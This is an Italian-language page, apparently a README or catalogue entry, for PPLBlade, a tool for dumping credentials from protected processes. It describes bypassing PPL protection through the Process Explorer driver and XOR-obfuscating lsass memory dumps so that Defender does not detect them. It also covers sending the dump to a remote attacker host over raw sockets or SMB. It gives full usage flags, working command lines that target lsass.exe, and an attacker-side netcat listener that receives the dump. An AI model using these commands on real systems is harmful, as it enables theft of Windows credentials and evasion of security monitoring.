PPLBlade

Strumento per il dump di processi protetti che supporta l'offuscamento del dump della memoria e il suo trasferimento su workstation remote senza scriverlo su disco.

Funzionalità principali:

Bypass della protezione PPL
Offuscamento dei file di dump della memoria per eludere i meccanismi di rilevamento basati su firme di Defender
Caricamento del dump della memoria con metodi RAW e SMB senza scriverlo su disco (dump fileless)

Panoramica delle tecniche utilizzate in questo strumento disponibile qui: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

Nota che PROCEXP15.SYS è elencato nei file sorgente per scopi di compilazione. Non è necessario trasferirlo sulla macchina di destinazione insieme a PPLBlade.exe.

È già incorporato in PPLBlade.exe. L'exploit è un singolo eseguibile.

Modalità:

Dump - Dump della memoria del processo utilizzando PID o nome del processo
Decrypt - Ripristina il file di dump offuscato (--obfuscate) al suo stato originale
Cleanup - Esegue la pulizia manualmente, in caso di problemi durante l'esecuzione (Nota che i valori delle opzioni devono essere gli stessi dell'esecuzione che stiamo cercando di pulire)
DoThatLsassThing - Dump di lsass.exe utilizzando il driver Process Explorer (POC di base)

Modalità di Handle:

Direct - Apre direttamente un handle PROCESS_ALL_ACCESS tramite la funzione OpenProcess()
Procexp - Utilizza PROCEXP152.sys per ottenere un handle

Usage of PPLBlade.exe:
  -driver string
        Path where the driver file will be dropped (default: current directory)
  -dumpmode string
        Dump mode [local|network] (default "local")
  -dumpname string
        Name of the dump file (default "PPLBlade.dmp")
  -handle string
        Method to obtain target process handle [direct|procexp] (default "direct")
  -help
        Prints this help message
  -ip string
        IP of the remote server
  -key string
        XOR Key for obfuscation (default "PPLBlade")
  -mode string
        Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
  -name string
        Process name of target process
  -network string
        Method for network transfer[raw|smb] (default "raw")
  -obfuscate
        Obfuscate dump file
  -pass string
        SMB password
  -pid int
        PID of target process (prioritized over process name)
  -port int
        PORT on the remote server
  -quiet
        Quiet mode
  -service string
        Name of the service (default "PPLBlade")
  -share string
        share name
  -user string
        SMB username

Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup

Esempi:

POC di base che utilizza PROCEXP152.sys per eseguire il dump di lsass:

PPLBlade.exe --mode dothatlsassthing

(Nota che non esegue XOR sul file di dump; fornisci un flag obfuscate aggiuntivo per abilitare la funzionalità XOR)

Caricare il dump offuscato di LSASS su una posizione remota:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

Host attaccante:

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

Deoffuscare il dump della memoria:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

PPLBlade

Più Popolari

PPLBlade